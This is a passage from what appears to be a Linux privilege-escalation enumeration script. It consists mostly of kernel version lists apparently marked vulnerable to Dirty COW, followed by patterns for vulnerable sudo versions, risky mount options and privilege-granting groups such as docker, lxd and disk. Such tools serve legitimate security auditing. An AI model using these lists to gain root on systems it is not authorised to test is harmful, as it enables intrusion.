.2.0-68-generic" +kernelDCW_Ubuntu_Precise_5="3.2.0-68-generic-pae|3.2.0-68-lowlatency|3.2.0-68-lowlatency-pae|3.2.0-68-virtual|3.2.0-69-generic|3.2.0-69-generic-pae|3.2.0-69-lowlatency|3.2.0-69-lowlatency-pae|3.2.0-69-virtual|3.2.0-70-generic|3.2.0-70-generic-pae|3.2.0-70-lowlatency|3.2.0-70-lowlatency-pae|3.2.0-70-virtual|3.2.0-72-generic|3.2.0-72-generic-pae|3.2.0-72-lowlatency|3.2.0-72-lowlatency-pae|3.2.0-72-virtual|3.2.0-73-generic|3.2.0-73-generic-pae|3.2.0-73-lowlatency|3.2.0-73-lowlatency-pae|3.2.0-73-virtual|3.2.0-74-generic|3.2.0-74-generic-pae|3.2.0-74-lowlatency|3.2.0-74-lowlatency-pae|3.2.0-74-virtual|3.2.0-75-generic|3.2.0-75-generic-pae|3.2.0-75-lowlatency|3.2.0-75-lowlatency-pae|3.2.0-75-virtual|3.2.0-76-generic|3.2.0-76-generic-pae|3.2.0-76-lowlatency|3.2.0-76-lowlatency-pae|3.2.0-76-virtual|3.2.0-77-generic|3.2.0-77-generic-pae|3.2.0-77-lowlatency|3.2.0-77-lowlatency-pae|3.2.0-77-virtual|3.2.0-79-generic|3.2.0-79-generic-pae|3.2.0-79-lowlatency|3.2.0-79-lowlatency-pae|3.2.0-79-virtual|3.2.0-80-generic|3.2.0-80-generic-pae|3.2.0-80-lowlatency|3.2.0-80-lowlatency-pae|3.2.0-80-virtual|3.2.0-82-generic|3.2.0-82-generic-pae|3.2.0-82-lowlatency|3.2.0-82-lowlatency-pae|3.2.0-82-virtual|3.2.0-83-generic|3.2.0-83-generic-pae|3.2.0-83-virtual|3.2.0-84-generic" +kernelDCW_Ubuntu_Precise_6="3.2.0-84-generic-pae|3.2.0-84-virtual|3.2.0-85-generic|3.2.0-85-generic-pae|3.2.0-85-virtual|3.2.0-86-generic|3.2.0-86-generic-pae|3.2.0-86-virtual|3.2.0-87-generic|3.2.0-87-generic-pae|3.2.0-87-virtual|3.2.0-88-generic|3.2.0-88-generic-pae|3.2.0-88-virtual|3.2.0-89-generic|3.2.0-89-generic-pae|3.2.0-89-virtual|3.2.0-90-generic|3.2.0-90-generic-pae|3.2.0-90-virtual|3.2.0-91-generic|3.2.0-91-generic-pae|3.2.0-91-virtual|3.2.0-92-generic|3.2.0-92-generic-pae|3.2.0-92-virtual|3.2.0-93-generic|3.2.0-93-generic-pae|3.2.0-93-virtual|3.2.0-94-generic|3.2.0-94-generic-pae|3.2.0-94-virtual|3.2.0-95-generic|3.2.0-95-generic-pae|3.2.0-95-virtual|3.2.0-96-generic|3.2.0-96-generic-pae|3.2.0-96-virtual|3.2.0-97-generic|3.2.0-97-generic-pae|3.2.0-97-virtual|3.2.0-98-generic|3.2.0-98-generic-pae|3.2.0-98-virtual|3.2.0-99-generic|3.2.0-99-generic-pae|3.2.0-99-virtual|3.5.0-40-generic|3.5.0-41-generic|3.5.0-42-generic|3.5.0-43-generic|3.5.0-44-generic|3.5.0-45-generic|3.5.0-46-generic|3.5.0-49-generic|3.5.0-51-generic|3.5.0-52-generic|3.5.0-54-generic|3.8.0-19-generic|3.8.0-21-generic|3.8.0-22-generic|3.8.0-23-generic|3.8.0-27-generic|3.8.0-29-generic|3.8.0-30-generic|3.8.0-31-generic|3.8.0-32-generic|3.8.0-33-generic|3.8.0-34-generic|3.8.0-35-generic|3.8.0-36-generic|3.8.0-37-generic|3.8.0-38-generic|3.8.0-39-generic|3.8.0-41-generic|3.8.0-42-generic" +kernelDCW_Ubuntu_Trusty_1="3.13.0-24-generic|3.13.0-24-generic-lpae|3.13.0-24-lowlatency|3.13.0-24-powerpc-e500|3.13.0-24-powerpc-e500mc|3.13.0-24-powerpc-smp|3.13.0-24-powerpc64-emb|3.13.0-24-powerpc64-smp|3.13.0-27-generic|3.13.0-27-lowlatency|3.13.0-29-generic|3.13.0-29-lowlatency|3.13.0-3-exynos5|3.13.0-30-generic|3.13.0-30-lowlatency|3.13.0-32-generic|3.13.0-32-lowlatency|3.13.0-33-generic|3.13.0-33-lowlatency|3.13.0-34-generic|3.13.0-34-lowlatency|3.13.0-35-generic|3.13.0-35-lowlatency|3.13.0-36-generic|3.13.0-36-lowlatency|3.13.0-37-generic|3.13.0-37-lowlatency|3.13.0-39-generic|3.13.0-39-lowlatency|3.13.0-40-generic|3.13.0-40-lowlatency|3.13.0-41-generic|3.13.0-41-lowlatency|3.13.0-43-generic|3.13.0-43-lowlatency|3.13.0-44-generic|3.13.0-44-lowlatency|3.13.0-46-generic|3.13.0-46-lowlatency|3.13.0-48-generic|3.13.0-48-lowlatency|3.13.0-49-generic|3.13.0-49-lowlatency|3.13.0-51-generic|3.13.0-51-lowlatency|3.13.0-52-generic|3.13.0-52-lowlatency|3.13.0-53-generic|3.13.0-53-lowlatency|3.13.0-54-generic|3.13.0-54-lowlatency|3.13.0-55-generic|3.13.0-55-lowlatency|3.13.0-57-generic|3.13.0-57-lowlatency|3.13.0-58-generic|3.13.0-58-lowlatency|3.13.0-59-generic|3.13.0-59-lowlatency|3.13.0-61-generic|3.13.0-61-lowlatency|3.13.0-62-generic|3.13.0-62-lowlatency|3.13.0-63-generic|3.13.0-63-lowlatency|3.13.0-65-generic|3.13.0-65-lowlatency|3.13.0-66-generic|3.13.0-66-lowlatency" +kernelDCW_Ubuntu_Trusty_2="3.13.0-67-generic|3.13.0-67-lowlatency|3.13.0-68-generic|3.13.0-68-lowlatency|3.13.0-70-generic|3.13.0-70-lowlatency|3.13.0-71-generic|3.13.0-71-lowlatency|3.13.0-73-generic|3.13.0-73-lowlatency|3.13.0-74-generic|3.13.0-74-lowlatency|3.13.0-76-generic|3.13.0-76-lowlatency|3.13.0-77-generic|3.13.0-77-lowlatency|3.13.0-79-generic|3.13.0-79-lowlatency|3.13.0-83-generic|3.13.0-83-lowlatency|3.13.0-85-generic|3.13.0-85-lowlatency|3.13.0-86-generic|3.13.0-86-lowlatency|3.13.0-87-generic|3.13.0-87-lowlatency|3.13.0-88-generic|3.13.0-88-lowlatency|3.13.0-91-generic|3.13.0-91-lowlatency|3.13.0-92-generic|3.13.0-92-lowlatency|3.13.0-93-generic|3.13.0-93-lowlatency|3.13.0-95-generic|3.13.0-95-lowlatency|3.13.0-96-generic|3.13.0-96-lowlatency|3.13.0-98-generic|3.13.0-98-lowlatency|3.16.0-25-generic|3.16.0-25-lowlatency|3.16.0-26-generic|3.16.0-26-lowlatency|3.16.0-28-generic|3.16.0-28-lowlatency|3.16.0-29-generic|3.16.0-29-lowlatency|3.16.0-31-generic|3.16.0-31-lowlatency|3.16.0-33-generic|3.16.0-33-lowlatency|3.16.0-34-generic|3.16.0-34-lowlatency|3.16.0-36-generic|3.16.0-36-lowlatency|3.16.0-37-generic|3.16.0-37-lowlatency|3.16.0-38-generic|3.16.0-38-lowlatency|3.16.0-39-generic|3.16.0-39-lowlatency|3.16.0-41-generic|3.16.0-41-lowlatency|3.16.0-43-generic|3.16.0-43-lowlatency|3.16.0-44-generic|3.16.0-44-lowlatency|3.16.0-45-generic" +kernelDCW_Ubuntu_Trusty_3="3.16.0-45-lowlatency|3.16.0-46-generic|3.16.0-46-lowlatency|3.16.0-48-generic|3.16.0-48-lowlatency|3.16.0-49-generic|3.16.0-49-lowlatency|3.16.0-50-generic|3.16.0-50-lowlatency|3.16.0-51-generic|3.16.0-51-lowlatency|3.16.0-52-generic|3.16.0-52-lowlatency|3.16.0-53-generic|3.16.0-53-lowlatency|3.16.0-55-generic|3.16.0-55-lowlatency|3.16.0-56-generic|3.16.0-56-lowlatency|3.16.0-57-generic|3.16.0-57-lowlatency|3.16.0-59-generic|3.16.0-59-lowlatency|3.16.0-60-generic|3.16.0-60-lowlatency|3.16.0-62-generic|3.16.0-62-lowlatency|3.16.0-67-generic|3.16.0-67-lowlatency|3.16.0-69-generic|3.16.0-69-lowlatency|3.16.0-70-generic|3.16.0-70-lowlatency|3.16.0-71-generic|3.16.0-71-lowlatency|3.16.0-73-generic|3.16.0-73-lowlatency|3.16.0-76-generic|3.16.0-76-lowlatency|3.16.0-77-generic|3.16.0-77-lowlatency|3.19.0-20-generic|3.19.0-20-lowlatency|3.19.0-21-generic|3.19.0-21-lowlatency|3.19.0-22-generic|3.19.0-22-lowlatency|3.19.0-23-generic|3.19.0-23-lowlatency|3.19.0-25-generic|3.19.0-25-lowlatency|3.19.0-26-generic|3.19.0-26-lowlatency|3.19.0-28-generic|3.19.0-28-lowlatency|3.19.0-30-generic|3.19.0-30-lowlatency|3.19.0-31-generic|3.19.0-31-lowlatency|3.19.0-32-generic|3.19.0-32-lowlatency|3.19.0-33-generic|3.19.0-33-lowlatency|3.19.0-37-generic|3.19.0-37-lowlatency|3.19.0-39-generic|3.19.0-39-lowlatency|3.19.0-41-generic|3.19.0-41-lowlatency|3.19.0-42-generic" +kernelDCW_Ubuntu_Trusty_4="3.19.0-42-lowlatency|3.19.0-43-generic|3.19.0-43-lowlatency|3.19.0-47-generic|3.19.0-47-lowlatency|3.19.0-49-generic|3.19.0-49-lowlatency|3.19.0-51-generic|3.19.0-51-lowlatency|3.19.0-56-generic|3.19.0-56-lowlatency|3.19.0-58-generic|3.19.0-58-lowlatency|3.19.0-59-generic|3.19.0-59-lowlatency|3.19.0-61-generic|3.19.0-61-lowlatency|3.19.0-64-generic|3.19.0-64-lowlatency|3.19.0-65-generic|3.19.0-65-lowlatency|3.19.0-66-generic|3.19.0-66-lowlatency|3.19.0-68-generic|3.19.0-68-lowlatency|3.19.0-69-generic|3.19.0-69-lowlatency|3.19.0-71-generic|3.19.0-71-lowlatency|3.4.0-5-chromebook|4.2.0-18-generic|4.2.0-18-lowlatency|4.2.0-19-generic|4.2.0-19-lowlatency|4.2.0-21-generic|4.2.0-21-lowlatency|4.2.0-22-generic|4.2.0-22-lowlatency|4.2.0-23-generic|4.2.0-23-lowlatency|4.2.0-25-generic|4.2.0-25-lowlatency|4.2.0-27-generic|4.2.0-27-lowlatency|4.2.0-30-generic|4.2.0-30-lowlatency|4.2.0-34-generic|4.2.0-34-lowlatency|4.2.0-35-generic|4.2.0-35-lowlatency|4.2.0-36-generic|4.2.0-36-lowlatency|4.2.0-38-generic|4.2.0-38-lowlatency|4.2.0-41-generic|4.2.0-41-lowlatency|4.4.0-21-generic|4.4.0-21-lowlatency|4.4.0-22-generic|4.4.0-22-lowlatency|4.4.0-24-generic|4.4.0-24-lowlatency|4.4.0-28-generic|4.4.0-28-lowlatency|4.4.0-31-generic|4.4.0-31-lowlatency|4.4.0-34-generic|4.4.0-34-lowlatency|4.4.0-36-generic|4.4.0-36-lowlatency|4.4.0-38-generic|4.4.0-38-lowlatency|4.4.0-42-generic|4.4.0-42-lowlatency" +kernelDCW_Ubuntu_Xenial="4.4.0-1009-raspi2|4.4.0-1012-snapdragon|4.4.0-21-generic|4.4.0-21-generic-lpae|4.4.0-21-lowlatency|4.4.0-21-powerpc-e500mc|4.4.0-21-powerpc-smp|4.4.0-21-powerpc64-emb|4.4.0-21-powerpc64-smp|4.4.0-22-generic|4.4.0-22-lowlatency|4.4.0-24-generic|4.4.0-24-lowlatency|4.4.0-28-generic|4.4.0-28-lowlatency|4.4.0-31-generic|4.4.0-31-lowlatency|4.4.0-34-generic|4.4.0-34-lowlatency|4.4.0-36-generic|4.4.0-36-lowlatency|4.4.0-38-generic|4.4.0-38-lowlatency|4.4.0-42-generic|4.4.0-42-lowlatency" +kernelDCW_Rhel5_1="2.6.24.7-74.el5rt|2.6.24.7-81.el5rt|2.6.24.7-93.el5rt|2.6.24.7-101.el5rt|2.6.24.7-108.el5rt|2.6.24.7-111.el5rt|2.6.24.7-117.el5rt|2.6.24.7-126.el5rt|2.6.24.7-132.el5rt|2.6.24.7-137.el5rt|2.6.24.7-139.el5rt|2.6.24.7-146.el5rt|2.6.24.7-149.el5rt|2.6.24.7-161.el5rt|2.6.24.7-169.el5rt|2.6.33.7-rt29.45.el5rt|2.6.33.7-rt29.47.el5rt|2.6.33.7-rt29.55.el5rt|2.6.33.9-rt31.64.el5rt|2.6.33.9-rt31.67.el5rt|2.6.33.9-rt31.86.el5rt|2.6.18-8.1.1.el5|2.6.18-8.1.3.el5|2.6.18-8.1.4.el5|2.6.18-8.1.6.el5|2.6.18-8.1.8.el5|2.6.18-8.1.10.el5|2.6.18-8.1.14.el5|2.6.18-8.1.15.el5|2.6.18-53.el5|2.6.18-53.1.4.el5|2.6.18-53.1.6.el5|2.6.18-53.1.13.el5|2.6.18-53.1.14.el5|2.6.18-53.1.19.el5|2.6.18-53.1.21.el5|2.6.18-92.el5|2.6.18-92.1.1.el5|2.6.18-92.1.6.el5|2.6.18-92.1.10.el5|2.6.18-92.1.13.el5|2.6.18-92.1.18.el5|2.6.18-92.1.22.el5|2.6.18-92.1.24.el5|2.6.18-92.1.26.el5|2.6.18-92.1.27.el5|2.6.18-92.1.28.el5|2.6.18-92.1.29.el5|2.6.18-92.1.32.el5|2.6.18-92.1.35.el5|2.6.18-92.1.38.el5|2.6.18-128.el5|2.6.18-128.1.1.el5|2.6.18-128.1.6.el5|2.6.18-128.1.10.el5|2.6.18-128.1.14.el5|2.6.18-128.1.16.el5|2.6.18-128.2.1.el5|2.6.18-128.4.1.el5|2.6.18-128.4.1.el5|2.6.18-128.7.1.el5|2.6.18-128.8.1.el5|2.6.18-128.11.1.el5|2.6.18-128.12.1.el5|2.6.18-128.14.1.el5|2.6.18-128.16.1.el5|2.6.18-128.17.1.el5|2.6.18-128.18.1.el5|2.6.18-128.23.1.el5|2.6.18-128.23.2.el5|2.6.18-128.25.1.el5|2.6.18-128.26.1.el5|2.6.18-128.27.1.el5" +kernelDCW_Rhel5_2="2.6.18-128.29.1.el5|2.6.18-128.30.1.el5|2.6.18-128.31.1.el5|2.6.18-128.32.1.el5|2.6.18-128.35.1.el5|2.6.18-128.36.1.el5|2.6.18-128.37.1.el5|2.6.18-128.38.1.el5|2.6.18-128.39.1.el5|2.6.18-128.40.1.el5|2.6.18-128.41.1.el5|2.6.18-164.el5|2.6.18-164.2.1.el5|2.6.18-164.6.1.el5|2.6.18-164.9.1.el5|2.6.18-164.10.1.el5|2.6.18-164.11.1.el5|2.6.18-164.15.1.el5|2.6.18-164.17.1.el5|2.6.18-164.19.1.el5|2.6.18-164.21.1.el5|2.6.18-164.25.1.el5|2.6.18-164.25.2.el5|2.6.18-164.28.1.el5|2.6.18-164.30.1.el5|2.6.18-164.32.1.el5|2.6.18-164.34.1.el5|2.6.18-164.36.1.el5|2.6.18-164.37.1.el5|2.6.18-164.38.1.el5|2.6.18-194.el5|2.6.18-194.3.1.el5|2.6.18-194.8.1.el5|2.6.18-194.11.1.el5|2.6.18-194.11.3.el5|2.6.18-194.11.4.el5|2.6.18-194.17.1.el5|2.6.18-194.17.4.el5|2.6.18-194.26.1.el5|2.6.18-194.32.1.el5|2.6.18-238.el5|2.6.18-238.1.1.el5|2.6.18-238.5.1.el5|2.6.18-238.9.1.el5|2.6.18-238.12.1.el5|2.6.18-238.19.1.el5|2.6.18-238.21.1.el5|2.6.18-238.27.1.el5|2.6.18-238.28.1.el5|2.6.18-238.31.1.el5|2.6.18-238.33.1.el5|2.6.18-238.35.1.el5|2.6.18-238.37.1.el5|2.6.18-238.39.1.el5|2.6.18-238.40.1.el5|2.6.18-238.44.1.el5|2.6.18-238.45.1.el5|2.6.18-238.47.1.el5|2.6.18-238.48.1.el5|2.6.18-238.49.1.el5|2.6.18-238.50.1.el5|2.6.18-238.51.1.el5|2.6.18-238.52.1.el5|2.6.18-238.53.1.el5|2.6.18-238.54.1.el5|2.6.18-238.55.1.el5|2.6.18-238.56.1.el5|2.6.18-274.el5|2.6.18-274.3.1.el5|2.6.18-274.7.1.el5|2.6.18-274.12.1.el5" +kernelDCW_Rhel5_3="2.6.18-274.17.1.el5|2.6.18-274.18.1.el5|2.6.18-308.el5|2.6.18-308.1.1.el5|2.6.18-308.4.1.el5|2.6.18-308.8.1.el5|2.6.18-308.8.2.el5|2.6.18-308.11.1.el5|2.6.18-308.13.1.el5|2.6.18-308.16.1.el5|2.6.18-308.20.1.el5|2.6.18-308.24.1.el5|2.6.18-348.el5|2.6.18-348.1.1.el5|2.6.18-348.2.1.el5|2.6.18-348.3.1.el5|2.6.18-348.4.1.el5|2.6.18-348.6.1.el5|2.6.18-348.12.1.el5|2.6.18-348.16.1.el5|2.6.18-348.18.1.el5|2.6.18-348.19.1.el5|2.6.18-348.21.1.el5|2.6.18-348.22.1.el5|2.6.18-348.23.1.el5|2.6.18-348.25.1.el5|2.6.18-348.27.1.el5|2.6.18-348.28.1.el5|2.6.18-348.29.1.el5|2.6.18-348.30.1.el5|2.6.18-348.31.2.el5|2.6.18-371.el5|2.6.18-371.1.2.el5|2.6.18-371.3.1.el5|2.6.18-371.4.1.el5|2.6.18-371.6.1.el5|2.6.18-371.8.1.el5|2.6.18-371.9.1.el5|2.6.18-371.11.1.el5|2.6.18-371.12.1.el5|2.6.18-398.el5|2.6.18-400.el5|2.6.18-400.1.1.el5|2.6.18-402.el5|2.6.18-404.el5|2.6.18-406.el5|2.6.18-407.el5|2.6.18-408.el5|2.6.18-409.el5|2.6.18-410.el5|2.6.18-411.el5|2.6.18-412.el5" +kernelDCW_Rhel6_1="2.6.33.9-rt31.66.el6rt|2.6.33.9-rt31.74.el6rt|2.6.33.9-rt31.75.el6rt|2.6.33.9-rt31.79.el6rt|3.0.9-rt26.45.el6rt|3.0.9-rt26.46.el6rt|3.0.18-rt34.53.el6rt|3.0.25-rt44.57.el6rt|3.0.30-rt50.62.el6rt|3.0.36-rt57.66.el6rt|3.2.23-rt37.56.el6rt|3.2.33-rt50.66.el6rt|3.6.11-rt28.20.el6rt|3.6.11-rt30.25.el6rt|3.6.11.2-rt33.39.el6rt|3.6.11.5-rt37.55.el6rt|3.8.13-rt14.20.el6rt|3.8.13-rt14.25.el6rt|3.8.13-rt27.33.el6rt|3.8.13-rt27.34.el6rt|3.8.13-rt27.40.el6rt|3.10.0-229.rt56.144.el6rt|3.10.0-229.rt56.147.el6rt|3.10.0-229.rt56.149.el6rt|3.10.0-229.rt56.151.el6rt|3.10.0-229.rt56.153.el6rt|3.10.0-229.rt56.158.el6rt|3.10.0-229.rt56.161.el6rt|3.10.0-229.rt56.162.el6rt|3.10.0-327.rt56.170.el6rt|3.10.0-327.rt56.171.el6rt|3.10.0-327.rt56.176.el6rt|3.10.0-327.rt56.183.el6rt|3.10.0-327.rt56.190.el6rt|3.10.0-327.rt56.194.el6rt|3.10.0-327.rt56.195.el6rt|3.10.0-327.rt56.197.el6rt|3.10.33-rt32.33.el6rt|3.10.33-rt32.34.el6rt|3.10.33-rt32.43.el6rt|3.10.33-rt32.45.el6rt|3.10.33-rt32.51.el6rt|3.10.33-rt32.52.el6rt|3.10.58-rt62.58.el6rt|3.10.58-rt62.60.el6rt|2.6.32-71.7.1.el6|2.6.32-71.14.1.el6|2.6.32-71.18.1.el6|2.6.32-71.18.2.el6|2.6.32-71.24.1.el6|2.6.32-71.29.1.el6|2.6.32-71.31.1.el6|2.6.32-71.34.1.el6|2.6.32-71.35.1.el6|2.6.32-71.36.1.el6|2.6.32-71.37.1.el6|2.6.32-71.38.1.el6|2.6.32-71.39.1.el6|2.6.32-71.40.1.el6|2.6.32-131.0.15.el6|2.6.32-131.2.1.el6|2.6.32-131.4.1.el6|2.6.32-131.6.1.el6|2.6.32-131.12.1.el6" +kernelDCW_Rhel6_2="2.6.32-131.17.1.el6|2.6.32-131.21.1.el6|2.6.32-131.22.1.el6|2.6.32-131.25.1.el6|2.6.32-131.26.1.el6|2.6.32-131.28.1.el6|2.6.32-131.29.1.el6|2.6.32-131.30.1.el6|2.6.32-131.30.2.el6|2.6.32-131.33.1.el6|2.6.32-131.35.1.el6|2.6.32-131.36.1.el6|2.6.32-131.37.1.el6|2.6.32-131.38.1.el6|2.6.32-131.39.1.el6|2.6.32-220.el6|2.6.32-220.2.1.el6|2.6.32-220.4.1.el6|2.6.32-220.4.2.el6|2.6.32-220.4.7.bgq.el6|2.6.32-220.7.1.el6|2.6.32-220.7.3.p7ih.el6|2.6.32-220.7.4.p7ih.el6|2.6.32-220.7.6.p7ih.el6|2.6.32-220.7.7.p7ih.el6|2.6.32-220.13.1.el6|2.6.32-220.17.1.el6|2.6.32-220.23.1.el6|2.6.32-220.24.1.el6|2.6.32-220.25.1.el6|2.6.32-220.26.1.el6|2.6.32-220.28.1.el6|2.6.32-220.30.1.el6|2.6.32-220.31.1.el6|2.6.32-220.32.1.el6|2.6.32-220.34.1.el6|2.6.32-220.34.2.el6|2.6.32-220.38.1.el6|2.6.32-220.39.1.el6|2.6.32-220.41.1.el6|2.6.32-220.42.1.el6|2.6.32-220.45.1.el6|2.6.32-220.46.1.el6|2.6.32-220.48.1.el6|2.6.32-220.51.1.el6|2.6.32-220.52.1.el6|2.6.32-220.53.1.el6|2.6.32-220.54.1.el6|2.6.32-220.55.1.el6|2.6.32-220.56.1.el6|2.6.32-220.57.1.el6|2.6.32-220.58.1.el6|2.6.32-220.60.2.el6|2.6.32-220.62.1.el6|2.6.32-220.63.2.el6|2.6.32-220.64.1.el6|2.6.32-220.65.1.el6|2.6.32-220.66.1.el6|2.6.32-220.67.1.el6|2.6.32-279.el6|2.6.32-279.1.1.el6|2.6.32-279.2.1.el6|2.6.32-279.5.1.el6|2.6.32-279.5.2.el6|2.6.32-279.9.1.el6|2.6.32-279.11.1.el6|2.6.32-279.14.1.bgq.el6|2.6.32-279.14.1.el6|2.6.32-279.19.1.el6|2.6.32-279.22.1.el6|2.6.32-279.23.1.el6|2.6.32-279.25.1.el6|2.6.32-279.25.2.el6|2.6.32-279.31.1.el6|2.6.32-279.33.1.el6|2.6.32-279.34.1.el6|2.6.32-279.37.2.el6|2.6.32-279.39.1.el6" +kernelDCW_Rhel6_3="2.6.32-279.41.1.el6|2.6.32-279.42.1.el6|2.6.32-279.43.1.el6|2.6.32-279.43.2.el6|2.6.32-279.46.1.el6|2.6.32-358.el6|2.6.32-358.0.1.el6|2.6.32-358.2.1.el6|2.6.32-358.6.1.el6|2.6.32-358.6.2.el6|2.6.32-358.6.3.p7ih.el6|2.6.32-358.11.1.bgq.el6|2.6.32-358.11.1.el6|2.6.32-358.14.1.el6|2.6.32-358.18.1.el6|2.6.32-358.23.2.el6|2.6.32-358.28.1.el6|2.6.32-358.32.3.el6|2.6.32-358.37.1.el6|2.6.32-358.41.1.el6|2.6.32-358.44.1.el6|2.6.32-358.46.1.el6|2.6.32-358.46.2.el6|2.6.32-358.48.1.el6|2.6.32-358.49.1.el6|2.6.32-358.51.1.el6|2.6.32-358.51.2.el6|2.6.32-358.55.1.el6|2.6.32-358.56.1.el6|2.6.32-358.59.1.el6|2.6.32-358.61.1.el6|2.6.32-358.62.1.el6|2.6.32-358.65.1.el6|2.6.32-358.67.1.el6|2.6.32-358.68.1.el6|2.6.32-358.69.1.el6|2.6.32-358.70.1.el6|2.6.32-358.71.1.el6|2.6.32-358.72.1.el6|2.6.32-358.73.1.el6|2.6.32-358.111.1.openstack.el6|2.6.32-358.114.1.openstack.el6|2.6.32-358.118.1.openstack.el6|2.6.32-358.123.4.openstack.el6|2.6.32-431.el6|2.6.32-431.1.1.bgq.el6|2.6.32-431.1.2.el6|2.6.32-431.3.1.el6|2.6.32-431.5.1.el6|2.6.32-431.11.2.el6|2.6.32-431.17.1.el6|2.6.32-431.20.3.el6|2.6.32-431.20.5.el6|2.6.32-431.23.3.el6|2.6.32-431.29.2.el6|2.6.32-431.37.1.el6|2.6.32-431.40.1.el6|2.6.32-431.40.2.el6|2.6.32-431.46.2.el6|2.6.32-431.50.1.el6|2.6.32-431.53.2.el6|2.6.32-431.56.1.el6|2.6.32-431.59.1.el6|2.6.32-431.61.2.el6|2.6.32-431.64.1.el6|2.6.32-431.66.1.el6|2.6.32-431.68.1.el6|2.6.32-431.69.1.el6|2.6.32-431.70.1.el6" +kernelDCW_Rhel6_4="2.6.32-431.71.1.el6|2.6.32-431.72.1.el6|2.6.32-431.73.2.el6|2.6.32-431.74.1.el6|2.6.32-504.el6|2.6.32-504.1.3.el6|2.6.32-504.3.3.el6|2.6.32-504.8.1.el6|2.6.32-504.8.2.bgq.el6|2.6.32-504.12.2.el6|2.6.32-504.16.2.el6|2.6.32-504.23.4.el6|2.6.32-504.30.3.el6|2.6.32-504.30.5.p7ih.el6|2.6.32-504.33.2.el6|2.6.32-504.36.1.el6|2.6.32-504.38.1.el6|2.6.32-504.40.1.el6|2.6.32-504.43.1.el6|2.6.32-504.46.1.el6|2.6.32-504.49.1.el6|2.6.32-504.50.1.el6|2.6.32-504.51.1.el6|2.6.32-504.52.1.el6|2.6.32-573.el6|2.6.32-573.1.1.el6|2.6.32-573.3.1.el6|2.6.32-573.4.2.bgq.el6|2.6.32-573.7.1.el6|2.6.32-573.8.1.el6|2.6.32-573.12.1.el6|2.6.32-573.18.1.el6|2.6.32-573.22.1.el6|2.6.32-573.26.1.el6|2.6.32-573.30.1.el6|2.6.32-573.32.1.el6|2.6.32-573.34.1.el6|2.6.32-642.el6|2.6.32-642.1.1.el6|2.6.32-642.3.1.el6|2.6.32-642.4.2.el6|2.6.32-642.6.1.el6" +kernelDCW_Rhel7="3.10.0-229.rt56.141.el7|3.10.0-229.1.2.rt56.141.2.el7_1|3.10.0-229.4.2.rt56.141.6.el7_1|3.10.0-229.7.2.rt56.141.6.el7_1|3.10.0-229.11.1.rt56.141.11.el7_1|3.10.0-229.14.1.rt56.141.13.el7_1|3.10.0-229.20.1.rt56.141.14.el7_1|3.10.0-229.rt56.141.el7|3.10.0-327.rt56.204.el7|3.10.0-327.4.5.rt56.206.el7_2|3.10.0-327.10.1.rt56.211.el7_2|3.10.0-327.13.1.rt56.216.el7_2|3.10.0-327.18.2.rt56.223.el7_2|3.10.0-327.22.2.rt56.230.el7_2|3.10.0-327.28.2.rt56.234.el7_2|3.10.0-327.28.3.rt56.235.el7|3.10.0-327.36.1.rt56.237.el7|3.10.0-123.el7|3.10.0-123.1.2.el7|3.10.0-123.4.2.el7|3.10.0-123.4.4.el7|3.10.0-123.6.3.el7|3.10.0-123.8.1.el7|3.10.0-123.9.2.el7|3.10.0-123.9.3.el7|3.10.0-123.13.1.el7|3.10.0-123.13.2.el7|3.10.0-123.20.1.el7|3.10.0-229.el7|3.10.0-229.1.2.el7|3.10.0-229.4.2.el7|3.10.0-229.7.2.el7|3.10.0-229.11.1.el7|3.10.0-229.14.1.el7|3.10.0-229.20.1.el7|3.10.0-229.24.2.el7|3.10.0-229.26.2.el7|3.10.0-229.28.1.el7|3.10.0-229.30.1.el7|3.10.0-229.34.1.el7|3.10.0-229.38.1.el7|3.10.0-229.40.1.el7|3.10.0-229.42.1.el7|3.10.0-327.el7|3.10.0-327.3.1.el7|3.10.0-327.4.4.el7|3.10.0-327.4.5.el7|3.10.0-327.10.1.el7|3.10.0-327.13.1.el7|3.10.0-327.18.2.el7|3.10.0-327.22.2.el7|3.10.0-327.28.2.el7|3.10.0-327.28.3.el7|3.10.0-327.36.1.el7|3.10.0-327.36.2.el7|3.10.0-229.1.2.ael7b|3.10.0-229.4.2.ael7b|3.10.0-229.7.2.ael7b|3.10.0-229.11.1.ael7b|3.10.0-229.14.1.ael7b|3.10.0-229.20.1.ael7b|3.10.0-229.24.2.ael7b|3.10.0-229.26.2.ael7b|3.10.0-229.28.1.ael7b|3.10.0-229.30.1.ael7b|3.10.0-229.34.1.ael7b|3.10.0-229.38.1.ael7b|3.10.0-229.40.1.ael7b|3.10.0-229.42.1.ael7b|4.2.0-0.21.el7" + + +MyUID=$(id -u $(whoami)) +if [ "$MyUID" ]; then myuid=$MyUID; elif [ $(id -u $(whoami) 2>/dev/null) ]; then myuid=$(id -u $(whoami) 2>/dev/null); elif [ "$(id 2>/dev/null | cut -d "=" -f 2 | cut -d "(" -f 1)" ]; then myuid=$(id 2>/dev/null | cut -d "=" -f 2 | cut -d "(" -f 1); fi +if [ $myuid -gt 2147483646 ]; then baduid="|$myuid"; fi +idB="euid|egid$baduid" +sudovB="[01].[012345678].[0-9]+|1.9.[01234]|1.9.5p1" + +mounted=$( (cat /proc/self/mountinfo || cat /proc/1/mountinfo) 2>/dev/null | cut -d " " -f5 | grep "^/" | tr '\n' '|')$(cat /etc/fstab 2>/dev/null | grep -v "#" | grep -E '\W/\W' | awk '{print $1}') +if ! [ "$mounted" ]; then + mounted=$( (mount -l || cat /proc/mounts || cat /proc/self/mounts || cat /proc/1/mounts) 2>/dev/null | grep "^/" | cut -d " " -f1 | tr '\n' '|')$(cat /etc/fstab 2>/dev/null | grep -v "#" | grep -E '\W/\W' | awk '{print $1}') +fi +if ! [ "$mounted" ]; then mounted="ImPoSSssSiBlEee"; fi #Don't let any blacklist to be empty +mountG="swap|/cdrom|/floppy|/dev/shm" +notmounted=$(cat /etc/fstab 2>/dev/null | grep "^/" | grep -Ev "$mountG" | awk '{print $1}' | grep -Ev "$mounted" | tr '\n' '|')"ImPoSSssSiBlEee" +mountpermsB="\Wsuid|\Wuser|\Wexec" +mountpermsG="nosuid|nouser|noexec" + +rootcommon="/init$|upstart-udev-bridge|udev|/getty|cron|apache2|java|tomcat|/vmtoolsd|/VGAuthService" + +groupsB="\(root\)|\(shadow\)|\(admin\)|\(video\)|\(adm\)|\(wheel\)|\(auth\)" +groupsVB="\(sudo\)|\(docker\)|\(lxd\)|\(disk\)|\(lxc\)" +knw_grps='\(lpadmin\)|\(cdrom\)|\(plugdev\)|\(nogroup\)' #https://www.togaware.com/linux/survivor/Standard_Groups.html +mygroups=$(groups 2>/dev/null | tr " " "|") + +# Default Binaries 